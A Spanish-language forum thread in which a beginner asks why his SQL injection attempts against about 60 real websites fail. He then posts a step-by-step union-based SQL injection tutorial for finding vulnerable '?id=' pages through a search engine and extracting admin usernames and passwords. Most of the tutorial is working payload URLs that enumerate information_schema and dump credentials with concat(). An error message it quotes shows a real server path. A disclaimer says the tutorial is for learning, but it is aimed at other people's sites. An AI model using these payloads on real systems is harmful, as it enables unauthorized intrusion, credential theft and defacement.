Llevo una semana "probando" las vulnerabilidades de las paginas atraves de las inyecciones SQL.
Segun trasteé por la red para saber si una pagina era vulnerable solo tenias que añadir (') sustuyendolo por lo/s numero/s
Ejemplo:
xxxxxx.php?id=250
xxxxxx.php?id='
si no nos decia nada referente a algun problema...... añadiamos lo siguiente.
xxxxxx.php?id=-1+union+all+select+0--
y luego ir probando xxxxxx.php?id=-1+union+all+select+0,1.......--
Hasta que te aparezcan "las tablas"
El problema es que ami nunca me salen.
A que se debe el problema???
PD: Es con fines educativos :P
PD2: Disculpen los moderadores si este post no va en esta sección, pero lo creí el mas adecuado
Atentamente
WH
Gracias
No son las "tablas", son las "columnas". Y si no te sales, tengo 2 hipótesis. La primera, no estáis haciendo bien la inyección de código SQL y la segunda, que el target no es vulnerable. XD
Citar
No son las "tablas", son las "columnas". Y si no te sales, tengo 2 hipótesis. La primera, no estáis haciendo bien la inyección de código SQL y la segunda, que el target no es vulnerable. XD
Hombre!!! Ha esas conclusiones tambien he caido yo compadre!
Lo mas lógico es que no este haciendo bien la inyeccion del codigo, que lo hago tal como explique antes.
La segunda lo dudo, porque lo he probado con cerca de 60 paginas.
y en la mayoria he llegado hasta ......,100--
Asi que no se que puede ser.
De que forman lo hacen ustedes?
PD: Gracias por la correcion (columnas), lo tendre en cuenta apartir de ahora ajaja
Un saludo
Atentamente
WH
Comprueba que sea vulnerable haciendo una comparación lógica
Citar
Comprueba que sea vulnerable haciendo una comparación lógica
Y como haria esa comprobacion? Sinceramente estoy empezando y no se moverte aun mucho por aqui.
gracias a todos por vuestra ayuda y orientacion
un saludo
atentamente
wisehidden
Aprende SQL antes de querer juankear páginas web :rolleyes:
250 and 1=1
250 and 1=0
Y comprueba los resultados
Cita de: pablomi en 22 Diciembre 2010, 13:53 PMAprende SQL antes de querer juankear páginas web
+1
---
@pablomi, poned una página para verificar lo que haces.
Prueba con esto para que chekes si funciona y si te funciona ya aprendes a hacerlo de forma manual.
http://foro.elhacker.net/hacking_avanzado/sql_injection_de_forma_amigable-t314434.0.html
Gracias al apoyo y ala ayuda interminable de todos tenemos el problema resuelto.
Y para todo aquel que quiera "Aprender a encontrar la vulnerabilidad de una pagina web" Solo para entender,comprender y proteger de otros ataques les invito y me tomo la molestia de explicaros un ataque por Inyección SQL.
Citar
Definición de Ataque SQL:
La inyección SQL es el ataque vía web, que aprovecha Errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.
¿Que es Deface?
Es la modificación de una página web sin autorización del Administrador de la misma.
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Nota: No todas las Paginas son vulnerables. Solo aquellas que por descuido, falta de conocimiento, Contraseñas débiles, errores en el FPT y un largo numero de errores o vulnerabilidades que nos permitan atraves de una inyección conocer el usuario y contraseña de Administración.
Nota2: Este pequeño tutorial es solamente para aquellos que quieran profundizar sus conocimientos sobre seguridad web, no para causar daños a terceros. (Pues esos terceros son programadores web, que al igual que a nosotros les fascina este amplio mundo que es la informática) Asi que no seais Malotes!!!! No me hago responsable, de los fines que hagais, eso queda en la conciencia de cada uno. (PERO EN ESTE PAIS PUEDEN CAERTE VARIOS AÑOS ENTRE REJAS!! Asi que pensarlo dos veces antes de hacer algo. ;D ;D ;D
Para comenzar antes tenemos que buscar con una referencia en nuestro buscador, lo que nos direccionará a una lista de web posiblemente vulnerables (RECUERDA NO TODAS LO SON) al menos no con este método.
.php?id=
.html?id=
(?id=NUMERO)
Para saber si es vulnerable tienes que quitar el numero, y poner '
Ejemplo :
http://www.WEBVICTIMA/noticia.php?id='
Vale es vulnerable. ¿Como lo sabemos? Facil por que nos ha tirado un error que es:
EJEMPLO:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/ioba.med.uva.es/abretusojos/noticia.php on line 7
(Normalmente suelen ser a si)
Ahora hay que quitar el '
y poner lo principal que es:
Código:
-1+union+all+select+0--
Y nos quedaría así:
Código:
http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0"
Ahora hay que buscar tablas, para ello hay que ir añadiendo números [ 1,2,3,4,5,6,7,8 .. .. ] hasta que nos tire unos números.
Acontinuacion sacaremos las table name. Poniendo al final de la url:
+from+information_schema.tables--
y coger un numero de los que te ha tirado,y borrar el name y poner table_name. Quedaría a si.
Ejemplo:
http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0,1,2,table_name,4,5,6+from+information_schema.tables--
Ahora siempre al poner la injeccion, te saldrá CHARACTER_SETS que es la primera tabla.
Si te sale CHARACTER_SETS es que todo va bien, ahora tienes que borrar los -- [ Guion , Guion ] y poner:
+limit+1,1--
Ejemplo:
http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0,1,2,table_name,4,5,6+from+information_schema.tables+limit+1,1--
Ahora hay que ir buscando tablas interesantes como; admin, user, root, login, administrator, etc.
En la base de datos, Hay alguna tables que son default, que parecen importantes pero no lo son , esas tables son:
PROFILING,USER_PRIVILEGES,VIEWS.
http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0,1,2,table_name,4,5,6+from+information_schema.tables+limit+12,1--
Ahora ya tenemos la table name de lo que queremos, ara hacemos lo siguiente:
Borramos:
information_schema.tables+limit+18,1--
EJEMPLO
http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0,1,2,table_name,4,5,6+from+
Y despues del
+from+
ponemos la table importante que es: table_usuarios.
Ejemplo:
http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0,1,2,table_name,4,5,6+from+table_usuarios
Ahora ya toca quitar el table_name que hay entre el 2 y el 4. Y poner nombre.
Ejemplo:
AVISO: No siempre es nombre, a veces si no funciona tienes que poner, admin,login,root,adm,administrador,etc.
Ponemos nombre y...
Hay tenemos el username!! Ahora falta la pass
Ahora como ya sabes el username, borra lo que hay entre el 2 y el 4. Y pon:
Código:
concat(nombre,0x3a3a,pass).
Ejemplo:
http://www.WEBVICTIMA/noticia.php?id=-1+union+all+select+0,1,2,concat%28nombre,0x3a3a,pass%29,4,5,6+from+table_usuarios
Si no te funciona, cambia donde pone pass [ concat(nombre,0x3a3a,pass) por clave,password,contraseña,etc.
Si todo va bien.......
Entre el user y pass lo separa 0x3a3a, 0x3a3a es hexadecimal, que significa " :: "
Y bueno asta aquí todo!!
PD: Este tutorial es una mezcla de recopilacion de muchos tutoriales que me han ayudado a conseguir este curioso e interesante ataque
Espero os sirva de ayuda para profundizar vuestros conocimientos
Un saludo
WiseHidden